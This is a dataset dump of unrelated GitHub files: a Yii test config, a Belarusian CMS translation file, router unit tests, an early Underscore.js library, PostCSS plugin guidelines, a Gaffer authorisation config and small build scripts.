text
stringlengths
2
99k
meta
dict
<?php defined('YII_APP_BASE_PATH') or define('YII_APP_BASE_PATH', dirname(dirname(dirname(dirname(__DIR__))))); /** * Application configuration for frontend acceptance tests */ return yii\helpers\ArrayHelper::merge( require(YII_APP_BASE_PATH . '/common/config/main.php'), require(YII_APP_BASE_PATH . '/common/config/main-local.php'), require(YII_APP_BASE_PATH . '/frontend/config/main.php'), require(YII_APP_BASE_PATH . '/frontend/config/main-local.php'), require(dirname(__DIR__) . '/config.php'), require(dirname(__DIR__) . '/config-local.php'), require(dirname(__DIR__) . '/acceptance.php'), require(__DIR__ . '/config.php'), [ ] );
{ "pile_set_name": "Github" }
Plugins: Плагіны 'Manage Plugins': 'Кіраваць прагінамі' Account: 'Улiковы запiс' 'Items per page': 'Абектаў на старонцы' 'Add new': Дадаць Home: Галоўная Logout: Выхад More...: Далей... Content: Зьмест Languages: Мовы Countries: Краiны Themes: 'Тэмы (шаблёны)' Topics: Тэмы Configure: Наладкі 'Image Archive': 'Архiў графiчных файлаў' 'Add Article': 'Дадаць наступны артыкул ' Fields: Палi Delete: Выдалiць Type: Тып Name: Загаловак Code: Код Edit: Праўка Login: Лагiн Password: Пароль Site: Сайт Path: Шлях 'Go up': Угору URL: URL Order: Парадак Hide: Схаваць Duplicate: Дубляваць Subscription: Падпіска expires: мiнае starts: пачынаецца before: перад after: пасьля on: на status: стан active: актыўны inactive: неактыўны Subscribers: Падпiсчыкi Staff: Пэрсанал 'Select destination': 'Выбераце атрымальнiка' 'No languages': 'Няма моў' '---Select language---': '---Выбераце мову---' 'No publications': 'Няма выданьняў' '---Select publication---': '---Выбераце выданьне---' 'No issues': 'Няма артыкулаў' '---Select issue---': '---Выбераце артыкул---' 'No sections': 'Няма рубрык' '---Select section---': '---Выбераце рубрыку---' Language: Мова Country: Краiна 'Account name': 'Улiковы запiс' Publication: Выданьне 'Default language': 'Мова па змаўчаньні' Subscriptions: Падпiскі Issue: Выпуск Number: Нумар Section: Рубрыка Keywords: 'Ключавыя словы' Topic: Тэма 'URL Name': 'Назва URL' 'Left to pay': 'Засталося заплацiць' Active: Актыўна Trial: Пробная Next: Наступн. Previous: Папярэд. Translate: Перакласьцi View: Выгляд 'Scheduled Publishing': 'Заплянаваныя публiкацыi' Time: Час Action: Апэрацыя 'Schedule a new action': 'Заплянаваць новае дзеяньне' 'Scheduling a new publish action': 'Плянаваньне новых апэрацыяў' 'Delete scheduled publish action': 'Выдаліць заплянаваную апэрацыю' Date/Time: 'Дата/Час:by' 'You must select an action.': 'Вы павiнны выбраць апэрацыю.' 'You do not have the right to schedule issues or articles for automatic publishing.': 'Вы ня маеце права прызначаць аўтаматычную публікацыю артыкула' 'Front page': 'Тытульная старонка' 'Section page': 'Старонка рубрыкi' 'Show on front page': 'Паказаць на тытульнай старонцы' 'Remove from front page': 'Выдаліць з тытульнай старонкі' 'Show on section page': 'Паказаць на старонцы рубрыкi' 'Remove from section page': 'Выдаліць са старонкi рубрыкi' Actions: Апэрацыi Publishing: Публікацыі Show: Паказаць Remove: Выдалiць 'Article Types': 'Тып артыкула' 'Staff User Types': 'Карыстальнiцкi тып пэрсаналу' Publications: Выданьнi Issues: Выпускi Sections: Рубрыкi Articles: Артыкулы Images: Выявы Change: Зьмянiць 'Add new issue': 'Дадаць новы выпуск' 'Section Template': 'Шаблён рубрыкi' 'Article Template': 'Шаблён артыкула' 'Default Language': 'Мова па змаўчаньні' 'Paid Period': 'Аплачаны пэрыяд' Preview: 'Папярэднi агляд' 'You must fill in the $1 field.': 'Вы павiнны запоўніць поле $1.' Error: Памылка 'Invalid input: $1': 'Няправільны ўвод $1' 'Language does not exist.': 'Такой мовы не iснуе.' 'Publication does not exist.': 'Няма такога выданьня.' 'Issue does not exist.': 'Такога выпуску не iснуе.' 'You must select a language.': 'Вы павiнны выбраць мову.' 'Section does not exist.': 'Няма такой рубрыцы.' 'No articles.': 'Артыкулы адсутнічаюць.' 'Article does not exist.': 'Няма такога артыкула.' 'Image does not exist.': 'Такой выявы не iснуе.' 'Access denied': 'Доступ забаронены' 'Invalid parameters received': 'Атрыманыя няправiльныя парамэтры' 'Add new article': 'Дадаць новы артыкул' Status: Стан Published: Апублікавана 'Not published': 'Не апублікавана' Submitted: Адпраўлена New: Новая Article: артыкул Publish: Апублікаваць Unpublish: Прыняць Unlock: Разблякаваць Uploaded: Загружана YYYY-MM-DD: 'ГГГГ-ММ-ДД ' Submit: Адправіць Image: Выява Description: Апісаньне Photographer: Фатограф Place: Месца Date: Дата Thumbnail: 'Папярэдні агляд' 'In use': Выкарыстана 'Additional searches': 'Дадатковы пошук' 'Most Recently Added': 'Нядаўна даданыя ' 'Most Recently Modified': 'Нядаўна мадыфікаваныя' '$1 images found': 'Знойдзена выяў: $1' 'Reset search conditions': 'Скiнуць умовы пошуку' 'Image number': 'Нумар выявы' Users: Карыстальнік Localizer: Лякалiзатар 'Adding new translation': 'Дадаваньне новага перакладу' 'No more languages.': 'Няма другiх моў.' 'The $1 field may only contain letters, digits and underscore (_) character.': 'У полi $1 павiнны знаходзiцца толькi лiтары, лiчбы цi сымбаль падкрэсьлiваньня ' 'Add new publication': 'Дадаць новае выданьне' 'Upload new template': 'Загрузiць новы шаблён' 'Add new staff member': 'Дадаваньне новага пэрсаналу' 'Staff member deleted.': null 'Add new subscriber': 'Дадаваньне новага падпісчыка' 'Add new user type': 'Дадаць новы тып карыстальнiка' 'Add new article type': 'Дадаць новы тып артыкула' 'Add new country': 'Дадаць новую краiну' 'Add new language': 'Дадаць новую мову' 'View logs': 'Прагледзець журнал' 'Change your password': 'Зьмянiце Ваш пароль' 'Your Articles': 'Вашы артыкулы' 'Submitted Articles': 'Адпраўленыя артыкулы' Logs: Журнал 'There are $1 article(s) left.': 'Засталося артыкулаў: $1' 'There are $1 issues(s) left.': 'Засталося выпускаў: $1' 'There are $1 section(s) left.': 'Засталося рубрык: $1' 'There are $1 publication(s) left.': 'Засталося выданьняў: $1' 'There are $1 countries left.': 'Засталося краiн: $1' 'Name <SMALL>(click to edit)</SMALL>': 'Назва <SMALL>(нацiсьнiце для праўкi)</SMALL> ' 'Add new subscription': 'Дадаць новую падпіску' 'You do not have the right to add subscriptions.': 'Вы ня маеце правоў дадаваць падпіскі' 'Adding subscription': 'Дадаваньне новай падпіскі ' 'Delete subscription': 'Выдалiць падпіску' 'You do not have the right to delete subscriptions.': 'Вы ня маеце правоў доступу, каб выдаляць падпіскі' 'No such subscription.': 'Няма такой падпіскі.' Yes: Так No: Так Close: Зачынiць 'No issues.': 'Няма выпускаў.' 'Back to Edit Article': 'Назад да рэдагаваньня артыкула' 'No topics': 'Няма тэмаў' 'You do not have the right to add articles.': 'Вы ня маеце правоў дадаваць артыкулы' Start: Пачатак Days: Дзён 'The sections could not be added successfully. Some of them were already added !': 'Нельга дадаць рубрыкі. Некаторыя зь iх ужо icнуюць!' 'Add another': 'Дадаць iншую' Cancel: Скасаваць Done: Выканана OK: ОК Save: Захаваць Search: Пошук 'Make a selection': Вылучыць 'You must input a number greater than 0 into the $1 field.': 'Вы павiнны ўвесьцi дадатную ненулявую лiчбу ў поле $1' 'You must input a valid date.': 'Вы павiнны ўвесьцi правiльную дату.' 'Add new field': 'Дадаць новы тып:by' 'Article automatic publishing schedule': 'Расклад аўтаматычнай публікацыі артыкулаў' 'Are you sure you want to delete this scheduled action?': 'Цi Вы ўпэўненыя, што жадаеце выдаліць гэтую заплянаваную апэрацыю?' Unlink: Адвязаць 'Are you sure you want to delete the image $1?': 'Цi Вы ўпэўненыя, што жадаеце выдалiць графiчны файл $1?' 'No such issue.': 'Няма такога выпуску' 'Are you sure you want to delete the subscription to the publication $1?': 'Цi Вы ўпэўнены, што жадаеце выдалiць падпiску на выданьне $1?' 'Could not save the changes to the issue $1. Please make sure the issue URL name $2 was not used before in the publication $3.': 'Немагчыма захаваць зьмены ў выпуску $. Пераканайцеся, што назва $2 URL выпуску не выкарыстоўвалася раней у выданьнi $3. ' GB: ГБ MB: МБ KB: КБ bytes: байт Attach: Прыкласьцi Back: Назад File: Файл 'Save and Close': 'Захаваць и зачынiць ' Add: Дадаць 'Select All': 'Вылучыць усё' 'Select None': 'Адмянiць выбар' 'Add Event': 'Дадаць падзею' N/A: недаступна 'On Front Page': 'На тытульнай старонцы' 'On Section Page': 'На старонцы рубрыцы' 'Created by': Аўтар 'Creation date': 'Дата стварэньня' 'Publication List': 'Сьпiс выданьняў' 'Issue List': 'Сьпiс выпускаў' 'Section List': 'Сьпiс рубрык' All: Усе duplicate: дубляваць move: перанесьцi Move: Перанесьцi 'From:': 'Ад:' 'Date:': 'Дата:' Hidden: Схаваны Comments: Камэнтары Comment: Камэтары Approved: Зацьверджаны Subject: Тэма 'IP address:': 'IP-адрас:' 'Email:': 'e-mail:' Author: Аўтар 'Article name': 'Назва артыкула' 'Hide article': 'Захаваць артыкул' 'Show article': 'Паказаць артыкул' 'Article Type Fields': 'Палi тыпаў артыкула' 'Article Images': 'Выява з артыкула' 'Log Messages': 'Паведамленьне журнала' 'Article Files': 'Файлы артыкула' 'Article Comments': 'Камэнтары да артыкула' 'Are you sure you want to deactivate the subscription?': 'Цi Вы ўпэўнены, што жадаеце дэактывававаць падпiсчыка?' 'Are you sure you want to activate the subscription?': 'Цi Вы ўпэўнены, што жадаеце актывіваваць падпiску?' Other: Iншае 'Time:': 'Час:' 'No events.': 'Няма падзеяў.' 'Default templates': 'Шаблёны па змаўчанню' 'System Preferences': 'Сыстэмныя наладкі' 'The date must be in the future.': 'Дата павiнна быць у будучым часе.' Send: Адправiць 'Thank you.': Дзякуй. 'Please take a minute to send us an email.': 'Калi ласка затрымайцеся на хвілінку, каб адправiць нам e-mail.' (optional): (дадаткова) 'The URL you entered is invalid: $1': 'Уведзены URL няправільны: $1 ' Reads: 'Колькасьць праглядаў' 'Publish with issue': 'Апублiкаваць выпуск' 'Universal List': 'Універсальны спіс' 'Invalid security token!': 'Няправільны маркер бяспецы!' Authors: Аўтары Title: Загаловак 'Edit country': null 'Entry $1 prepared for publishing': null 'Entry deleted': null 'Feed saved': null 'Item published': null 'Settings saved': null 'Self-delete is not permitted.': null 'Edit staff member $1': null 'Delete staff member $1': null 'Could not save user $1. Please make sure it does not already exist': null 'Could not save user with e-mail address $1. Please make sure it does not already exist': null 'Changing user type would prevent you to manage users. Aborted.': null 'Staff member saved.': null 'Permissions: $1': null 'Change user account information': null 'Staff management': null Updated: null Options: null Verified: null Confirm: null at: на published: null unpublished: null nopermissions: null importantmessage: null anonymous: null 'Successfully refreshed authentication token.': null 'Failed to refresh authentication token.': null
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: 3967b5a841eb31e4195ba7d110ea2706 folderAsset: yes DefaultImporter: externalObjects: {} userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
const test = require('tape-catch') const qs = require('querystring') const getTestState = require('./helpers/test-state-factory') function basicRouterSetup(t, options) { const stateRouter = getTestState(t, null, options).stateRouter stateRouter.addState({ name: 'parent', template: '', route: '/parent', querystringParameters: [ 'thingy', 'thinger' ], }) stateRouter.addState({ name: 'parent.child1', template: '', route: '/child1', }) stateRouter.addState({ name: 'parent.child2', template: '', route: '/child2', }) return stateRouter } test('makePath builds a path and throws on non-existant state', function(t) { t.plan(2) const stateRouter = basicRouterSetup(t) t.equal(stateRouter.makePath('parent.child1', { param: 'value' }), '#/parent/child1?param=value') t.throws(function() { stateRouter.makePath('parent.doesnotexist') }, /doesnotexist/) t.end() }) test('makePath respects the prefix option', function(t) { const stateRouter = basicRouterSetup(t, { pathPrefix: '', }) t.equal(stateRouter.makePath('parent.child1', { thingy: 'value' }), '/parent/child1?thingy=value') t.equal(stateRouter.makePath('parent', { thingy: 'value' }), '/parent?thingy=value') t.end() }) test('makePath respects the inherit option', function(t) { const stateRouter = basicRouterSetup(t) function justTheQuerystring(str) { const match = /\?(.+)$/.exec(str) return qs.parse(match[1]) } stateRouter.on('stateChangeEnd', function() { let output = justTheQuerystring(stateRouter.makePath('parent.child2', { otherParameter: 'other value' }, { inherit: true })) t.equal(output.originalParameter, 'original value') t.equal(output.otherParameter, 'other value') t.equal(Object.keys(output).length, 2) output = justTheQuerystring(stateRouter.makePath('parent.child2', { originalParameter: 'new value' }, { inherit: true })) t.equal(output.originalParameter, 'new value') t.equal(Object.keys(output).length, 1) t.end() }) stateRouter.go('parent.child1', { originalParameter: 'original value', }) }) test('makePath inheriting parameters from the route by the time the activate function is called', function(t) { const stateRouter = getTestState(t, null, { pathPrefix: '', }).stateRouter stateRouter.addState({ name: 'parent', template: '', route: '/parent/:someParam/yarp', }) stateRouter.addState({ name: 'parent.child1', template: '', route: '/child1', activate: function(context) { t.equal(context.parameters.someParam, 'totally') const path = stateRouter.makePath('parent.child2', {}, { inherit: true, }) t.equal(path, '/parent/totally/yarp/child2', 'Output path contains the route parameter') t.end() }, }) stateRouter.addState({ name: 'parent.child2', template: '', route: '/child2', }) stateRouter.go('parent.child1', { someParam: 'totally' }) }) test('makePath with falsey parameters', function(t) { const stateRouter = getTestState(t, null, { pathPrefix: '', }).stateRouter stateRouter.addState({ name: 'whatever', template: '', route: '/timer/:week(\\d+)/:day(\\d+)', }) const output = stateRouter.makePath('whatever', { week: 0, day: 0, }) t.equal(output, '/timer/0/0') t.end() }) test('makePath with null state name goes to the current state', function(t) { const stateRouter = basicRouterSetup(t) stateRouter.go('parent.child2', { thinger: 'whatsit' }) stateRouter.on('stateChangeEnd', function() { const output = stateRouter.makePath(null, { thinger: 'eh' }) t.equal(output, '#/parent/child2?thinger=eh') t.end() }) }) test('makePath with null state name throws an error if there is no current state', function(t) { const stateRouter = basicRouterSetup(t) t.throws(function() { stateRouter.makePath(null, { thinger: 'eh' }) }, /previous state/) t.end() })
{ "pile_set_name": "Github" }
// Underscore.js // (c) 2009 Jeremy Ashkenas, DocumentCloud Inc. // Underscore is freely distributable under the terms of the MIT license. // Portions of Underscore are inspired by or borrowed from Prototype.js, // Oliver Steele's Functional, and John Resig's Micro-Templating. // For all details and documentation: // http://documentcloud.github.com/underscore/ (function() { /*------------------------- Baseline setup ---------------------------------*/ // Establish the root object, "window" in the browser, or "global" on the server. var root = this; // Save the previous value of the "_" variable. var previousUnderscore = root._; // Create a safe reference to the Underscore object for the functions below. var _ = root._ = {}; // Export the Underscore object for CommonJS. if (typeof exports !== 'undefined') _ = exports; // Current version. _.VERSION = '0.3.2'; /*------------------------ Collection Functions: ---------------------------*/ // The cornerstone, an each implementation. // Handles objects implementing forEach, each, arrays, and raw objects. _.each = function(obj, iterator, context) { var index = 0; try { if (obj.forEach) { obj.forEach(iterator, context); } else if (obj.length) { for (var i=0, l = obj.length; i<l; i++) iterator.call(context, obj[i], i, obj); } else if (obj.each) { obj.each(function(value) { iterator.call(context, value, index++, obj); }); } else { for (var key in obj) if (Object.prototype.hasOwnProperty.call(obj, key)) { iterator.call(context, obj[key], key, obj); } } } catch(e) { if (e != '__break__') throw e; } return obj; }; // Return the results of applying the iterator to each element. Use JavaScript // 1.6's version of map, if possible. _.map = function(obj, iterator, context) { if (obj && obj.map) return obj.map(iterator, context); var results = []; _.each(obj, function(value, index, list) { results.push(iterator.call(context, value, index, list)); }); return results; }; // Reduce builds up a single result from a list of values. Also known as // inject, or foldl. _.reduce = function(obj, memo, iterator, context) { _.each(obj, function(value, index, list) { memo = iterator.call(context, memo, value, index, list); }); return memo; }; // Return the first value which passes a truth test. _.detect = function(obj, iterator, context) { var result; _.each(obj, function(value, index, list) { if (iterator.call(context, value, index, list)) { result = value; throw '__break__'; } }); return result; }; // Return all the elements that pass a truth test. Use JavaScript 1.6's // filter(), if it exists. _.select = function(obj, iterator, context) { if (obj.filter) return obj.filter(iterator, context); var results = []; _.each(obj, function(value, index, list) { iterator.call(context, value, index, list) && results.push(value); }); return results; }; // Return all the elements for which a truth test fails. _.reject = function(obj, iterator, context) { var results = []; _.each(obj, function(value, index, list) { !iterator.call(context, value, index, list) && results.push(value); }); return results; }; // Determine whether all of the elements match a truth test. Delegate to // JavaScript 1.6's every(), if it is present. _.all = function(obj, iterator, context) { iterator = iterator || _.identity; if (obj.every) return obj.every(iterator, context); var result = true; _.each(obj, function(value, index, list) { if (!(result = result && iterator.call(context, value, index, list))) throw '__break__'; }); return result; }; // Determine if at least one element in the object matches a truth test. Use // JavaScript 1.6's some(), if it exists. _.any = function(obj, iterator, context) { iterator = iterator || _.identity; if (obj.some) return obj.some(iterator, context); var result = false; _.each(obj, function(value, index, list) { if (result = iterator.call(context, value, index, list)) throw '__break__'; }); return result; }; // Determine if a given value is included in the array or object, // based on '==='. _.include = function(obj, target) { if (_.isArray(obj)) return _.indexOf(obj, target) != -1; var found = false; _.each(obj, function(value) { if (found = value === target) { throw '__break__'; } }); return found; }; // Invoke a method with arguments on every item in a collection. _.invoke = function(obj, method) { var args = _.toArray(arguments).slice(2); return _.map(obj, function(value) { return (method ? value[method] : value).apply(value, args); }); }; // Convenience version of a common use case of map: fetching a property. _.pluck = function(obj, key) { return _.map(obj, function(value){ return value[key]; }); }; // Return the maximum item or (item-based computation). _.max = function(obj, iterator, context) { if (!iterator && _.isArray(obj)) return Math.max.apply(Math, obj); var result = {computed : -Infinity}; _.each(obj, function(value, index, list) { var computed = iterator ? iterator.call(context, value, index, list) : value; computed >= result.computed && (result = {value : value, computed : computed}); }); return result.value; }; // Return the minimum element (or element-based computation). _.min = function(obj, iterator, context) { if (!iterator && _.isArray(obj)) return Math.min.apply(Math, obj); var result = {computed : Infinity}; _.each(obj, function(value, index, list) { var computed = iterator ? iterator.call(context, value, index, list) : value; computed < result.computed && (result = {value : value, computed : computed}); }); return result.value; }; // Sort the object's values by a criteria produced by an iterator. _.sortBy = function(obj, iterator, context) { return _.pluck(_.map(obj, function(value, index, list) { return { value : value, criteria : iterator.call(context, value, index, list) }; }).sort(function(left, right) { var a = left.criteria, b = right.criteria; return a < b ? -1 : a > b ? 1 : 0; }), 'value'); }; // Use a comparator function to figure out at what index an object should // be inserted so as to maintain order. Uses binary search. _.sortedIndex = function(array, obj, iterator) { iterator = iterator || _.identity; var low = 0, high = array.length; while (low < high) { var mid = (low + high) >> 1; iterator(array[mid]) < iterator(obj) ? low = mid + 1 : high = mid; } return low; }; // Convert anything iterable into a real, live array. _.toArray = function(iterable) { if (!iterable) return []; if (_.isArray(iterable)) return iterable; return _.map(iterable, function(val){ return val; }); }; // Return the number of elements in an object. _.size = function(obj) { return _.toArray(obj).length; }; /*-------------------------- Array Functions: ------------------------------*/ // Get the first element of an array. _.first = function(array) { return array[0]; }; // Get the last element of an array. _.last = function(array) { return array[array.length - 1]; }; // Trim out all falsy values from an array. _.compact = function(array) { return _.select(array, function(value){ return !!value; }); }; // Return a completely flattened version of an array. _.flatten = function(array) { return _.reduce(array, [], function(memo, value) { if (_.isArray(value)) return memo.concat(_.flatten(value)); memo.push(value); return memo; }); }; // Return a version of the array that does not contain the specified value(s). _.without = function(array) { var values = array.slice.call(arguments, 0); return _.select(array, function(value){ return !_.include(values, value); }); }; // Produce a duplicate-free version of the array. If the array has already // been sorted, you have the option of using a faster algorithm. _.uniq = function(array, isSorted) { return _.reduce(array, [], function(memo, el, i) { if (0 == i || (isSorted ? _.last(memo) != el : !_.include(memo, el))) memo.push(el); return memo; }); }; // Produce an array that contains every item shared between all the // passed-in arrays. _.intersect = function(array) { var rest = _.toArray(arguments).slice(1); return _.select(_.uniq(array), function(item) { return _.all(rest, function(other) { return _.indexOf(other, item) >= 0; }); }); }; // Zip together multiple lists into a single array -- elements that share // an index go together. _.zip = function() { var args = _.toArray(arguments); var length = _.max(_.pluck(args, 'length')); var results = new Array(length); for (var i=0; i<length; i++) results[i] = _.pluck(args, String(i)); return results; }; // If the browser doesn't supply us with indexOf (I'm looking at you, MSIE), // we need this function. Return the position of the first occurence of an // item in an array, or -1 if the item is not included in the array. _.indexOf = function(array, item) { if (array.indexOf) return array.indexOf(item); for (i=0, l=array.length; i<l; i++) if (array[i] === item) return i; return -1; }; // Provide JavaScript 1.6's lastIndexOf, delegating to the native function, // if possible. _.lastIndexOf = function(array, item) { if (array.lastIndexOf) return array.lastIndexOf(item); var i = array.length; while (i--) if (array[i] === item) return i; return -1; }; /* ----------------------- Function Functions: -----------------------------*/ // Create a function bound to a given object (assigning 'this', and arguments, // optionally). Binding with arguments is also known as 'curry'. _.bind = function(func, context) { if (!context) return func; var args = _.toArray(arguments).slice(2); return function() { var a = args.concat(_.toArray(arguments)); return func.apply(context, a); }; }; // Bind all of an object's methods to that object. Useful for ensuring that // all callbacks defined on an object belong to it. _.bindAll = function() { var args = _.toArray(arguments); var context = args.pop(); _.each(args, function(methodName) { context[methodName] = _.bind(context[methodName], context); }); }; // Delays a function for the given number of milliseconds, and then calls // it with the arguments supplied. _.delay = function(func, wait) { var args = _.toArray(arguments).slice(2); return setTimeout(function(){ return func.apply(func, args); }, wait); }; // Defers a function, scheduling it to run after the current call stack has // cleared. _.defer = function(func) { return _.delay.apply(_, [func, 1].concat(_.toArray(arguments).slice(1))); }; // Returns the first function passed as an argument to the second, // allowing you to adjust arguments, run code before and after, and // conditionally execute the original function. _.wrap = function(func, wrapper) { return function() { var args = [func].concat(_.toArray(arguments)); return wrapper.apply(wrapper, args); }; }; // Returns a function that is the composition of a list of functions, each // consuming the return value of the function that follows. _.compose = function() { var funcs = _.toArray(arguments); return function() { for (var i=funcs.length-1; i >= 0; i--) { arguments = [funcs[i].apply(this, arguments)]; } return arguments[0]; }; }; /* ------------------------- Object Functions: ---------------------------- */ // Retrieve the names of an object's properties. _.keys = function(obj) { return _.map(obj, function(value, key){ return key; }); }; // Retrieve the values of an object's properties. _.values = function(obj) { return _.map(obj, _.identity); }; // Extend a given object with all of the properties in a source object. _.extend = function(destination, source) { for (var property in source) destination[property] = source[property]; return destination; }; // Create a (shallow-cloned) duplicate of an object. _.clone = function(obj) { return _.extend({}, obj); }; // Perform a deep comparison to check if two objects are equal. _.isEqual = function(a, b) { // Check object identity. if (a === b) return true; // Different types? var atype = typeof(a), btype = typeof(b); if (atype != btype) return false; // Basic equality test (watch out for coercions). if (a == b) return true; // One of them implements an isEqual()? if (a.isEqual) return a.isEqual(b); // If a is not an object by this point, we can't handle it. if (atype !== 'object') return false; // Nothing else worked, deep compare the contents. var aKeys = _.keys(a), bKeys = _.keys(b); // Different object sizes? if (aKeys.length != bKeys.length) return false; // Recursive comparison of contents. for (var key in a) if (!_.isEqual(a[key], b[key])) return false; return true; }; // Is a given value a DOM element? _.isElement = function(obj) { return !!(obj && obj.nodeType == 1); }; // Is a given value a real Array? _.isArray = function(obj) { return Object.prototype.toString.call(obj) == '[object Array]'; }; // Is a given value a Function? _.isFunction = function(obj) { return Object.prototype.toString.call(obj) == '[object Function]'; }; // Is a given variable undefined? _.isUndefined = function(obj) { return typeof obj == 'undefined'; }; /* -------------------------- Utility Functions: -------------------------- */ // Run Underscore.js in noConflict mode, returning the '_' variable to its // previous owner. Returns a reference to the Underscore object. _.noConflict = function() { root._ = previousUnderscore; return this; }; // Keep the identity function around for default iterators. _.identity = function(value) { return value; }; // Generate a unique integer id (unique within the entire client session). // Useful for temporary DOM ids. _.uniqueId = function(prefix) { var id = this._idCounter = (this._idCounter || 0) + 1; return prefix ? prefix + id : id; }; // JavaScript templating a-la ERB, pilfered from John Resig's // "Secrets of the JavaScript Ninja", page 83. _.template = function(str, data) { var fn = new Function('obj', 'var p=[],print=function(){p.push.apply(p,arguments);};' + 'with(obj){p.push(\'' + str .replace(/[\r\t\n]/g, " ") .split("<%").join("\t") .replace(/((^|%>)[^\t]*)'/g, "$1\r") .replace(/\t=(.*?)%>/g, "',$1,'") .split("\t").join("');") .split("%>").join("p.push('") .split("\r").join("\\'") + "');}return p.join('');"); return data ? fn(data) : fn; }; /*------------------------------- Aliases ----------------------------------*/ _.forEach = _.each; _.inject = _.reduce; _.filter = _.select; _.every = _.all; _.some = _.any; })();
{ "pile_set_name": "Github" }
# PostCSS Plugin Guidelines A PostCSS plugin is a function that receives and, usually, transforms a CSS AST from the PostCSS parser. The rules below are *mandatory* for all PostCSS plugins. See also [ClojureWerkz’s recommendations] for open source projects. [ClojureWerkz’s recommendations]: http://blog.clojurewerkz.org/blog/2013/04/20/how-to-make-your-open-source-project-really-awesome/ ## 1. API ### 1.1 Clear name with `postcss-` prefix The plugin’s purpose should be clear just by reading its name. If you wrote a transpiler for CSS 4 Custom Media, `postcss-custom-media` would be a good name. If you wrote a plugin to support mixins, `postcss-mixins` would be a good name. The prefix `postcss-` shows that the plugin is part of the PostCSS ecosystem. This rule is not mandatory for plugins that can run as independent tools, without the user necessarily knowing that it is powered by PostCSS — for example, [cssnext] and [Autoprefixer]. [Autoprefixer]: https://github.com/postcss/autoprefixer [cssnext]: http://cssnext.io/ ### 1.2. Do one thing, and do it well Do not create multitool plugins. Several small, one-purpose plugins bundled into a plugin pack is usually a better solution. For example, [cssnext] contains many small plugins, one for each W3C specification. And [cssnano] contains a separate plugin for each of its optimization. [cssnext]: http://cssnext.io/ [cssnano]: https://github.com/ben-eb/cssnano ### 1.3. Do not use mixins Preprocessors libraries like Compass provide an API with mixins. PostCSS plugins are different. A plugin cannot be just a set of mixins for [postcss-mixins]. To achieve your goal, consider transforming valid CSS or using custom at-rules and custom properties. [postcss-mixins]: https://github.com/postcss/postcss-mixins ### 1.4. Create plugin by `postcss.plugin` By wrapping your function in this method, you are hooking into a common plugin API: ```js module.exports = postcss.plugin('plugin-name', function (opts) { return function (root, result) { // Plugin code }; }); ``` ## 2. Processing ### 2.1. Plugin must be tested A CI service like [Travis] is also recommended for testing code in different environments. You should test in (at least) Node.js [active LTS](https://github.com/nodejs/LTS) and current stable version. [Travis]: https://travis-ci.org/ ### 2.2. Use asynchronous methods whenever possible For example, use `fs.writeFile` instead of `fs.writeFileSync`: ```js postcss.plugin('plugin-sprite', function (opts) { return function (root, result) { return new Promise(function (resolve, reject) { var sprite = makeSprite(); fs.writeFile(opts.file, function (err) { if ( err ) return reject(err); resolve(); }) }); }; }); ``` ### 2.3. Set `node.source` for new nodes Every node must have a relevant `source` so PostCSS can generate an accurate source map. So if you add new declaration based on some existing declaration, you should clone the existing declaration in order to save that original `source`. ```js if ( needPrefix(decl.prop) ) { decl.cloneBefore({ prop: '-webkit-' + decl.prop }); } ``` You can also set `source` directly, copying from some existing node: ```js if ( decl.prop === 'animation' ) { var keyframe = createAnimationByName(decl.value); keyframes.source = decl.source; decl.root().append(keyframes); } ``` ### 2.4. Use only the public PostCSS API PostCSS plugins must not rely on undocumented properties or methods, which may be subject to change in any minor release. The public API is described in [API docs]. [API docs]: http://api.postcss.org/ ## 3. Errors ### 3.1. Use `node.error` on CSS relevant errors If you have an error because of input CSS (like an unknown name in a mixin plugin) you should use `node.error` to create an error that includes source position: ```js if ( typeof mixins[name] === 'undefined' ) { throw decl.error('Unknown mixin ' + name, { plugin: 'postcss-mixins' }); } ``` ### 3.2. Use `result.warn` for warnings Do not print warnings with `console.log` or `console.warn`, because some PostCSS runner may not allow console output. ```js if ( outdated(decl.prop) ) { result.warn(decl.prop + ' is outdated', { node: decl }); } ``` If CSS input is a source of the warning, the plugin must set the `node` option. ## 4. Documentation ### 4.1. Document your plugin in English PostCSS plugins must have their `README.md` written in English. Do not be afraid of your English skills, as the open source community will fix your errors. Of course, you are welcome to write documentation in other languages; just name them appropriately (e.g. `README.ja.md`). ### 4.2. Include input and output examples The plugin's `README.md` must contain example input and output CSS. A clear example is the best way to describe how your plugin works. The first section of the `README.md` is a good place to put examples. See [postcss-opacity](https://github.com/iamvdo/postcss-opacity) for an example. Of course, this guideline does not apply if your plugin does not transform the CSS. ### 4.3. Maintain a changelog PostCSS plugins must describe the changes of all their releases in a separate file, such as `CHANGELOG.md`, `History.md`, or [GitHub Releases]. Visit [Keep A Changelog] for more information about how to write one of these. Of course, you should be using [SemVer]. [Keep A Changelog]: http://keepachangelog.com/ [GitHub Releases]: https://help.github.com/articles/creating-releases/ [SemVer]: http://semver.org/ ### 4.4. Include `postcss-plugin` keyword in `package.json` PostCSS plugins written for npm must have the `postcss-plugin` keyword in their `package.json`. This special keyword will be useful for feedback about the PostCSS ecosystem. For packages not published to npm, this is not mandatory, but is recommended if the package format can contain keywords.
{ "pile_set_name": "Github" }
obj-$(CONFIG_DVB_MN88473) += mn88473.o ccflags-y += -Idrivers/media/dvb-core/ ccflags-y += -Idrivers/media/dvb-frontends/ ccflags-y += -Idrivers/media/tuners/
{ "pile_set_name": "Github" }
{ "class": "uk.gov.gchq.gaffer.graph.hook.OperationAuthoriser", "auths": { "uk.gov.gchq.gaffer.operation.Operation": [ "User" ], "uk.gov.gchq.gaffer.operation.io.Output": [ "ReadUser" ], "uk.gov.gchq.gaffer.operation.impl.add.AddElements": [ "WriteUser" ], "uk.gov.gchq.gaffer.operation.impl.get.GetAdjacentIds": [ "SuperUser" ], "uk.gov.gchq.gaffer.operation.impl.get.GetAllElements": [ "AdminUser", "SuperUser" ] } }
{ "pile_set_name": "Github" }
#!/usr/bin/env sh set -evx env | sort mkdir build || true mkdir build/$GTEST_TARGET || true cd build/$GTEST_TARGET cmake -Dgtest_build_samples=ON \ -Dgmock_build_samples=ON \ -Dgtest_build_tests=ON \ -Dgmock_build_tests=ON \ -DCMAKE_CXX_FLAGS=$CXX_FLAGS \ ../../$GTEST_TARGET make CTEST_OUTPUT_ON_FAILURE=1 make test
{ "pile_set_name": "Github" }
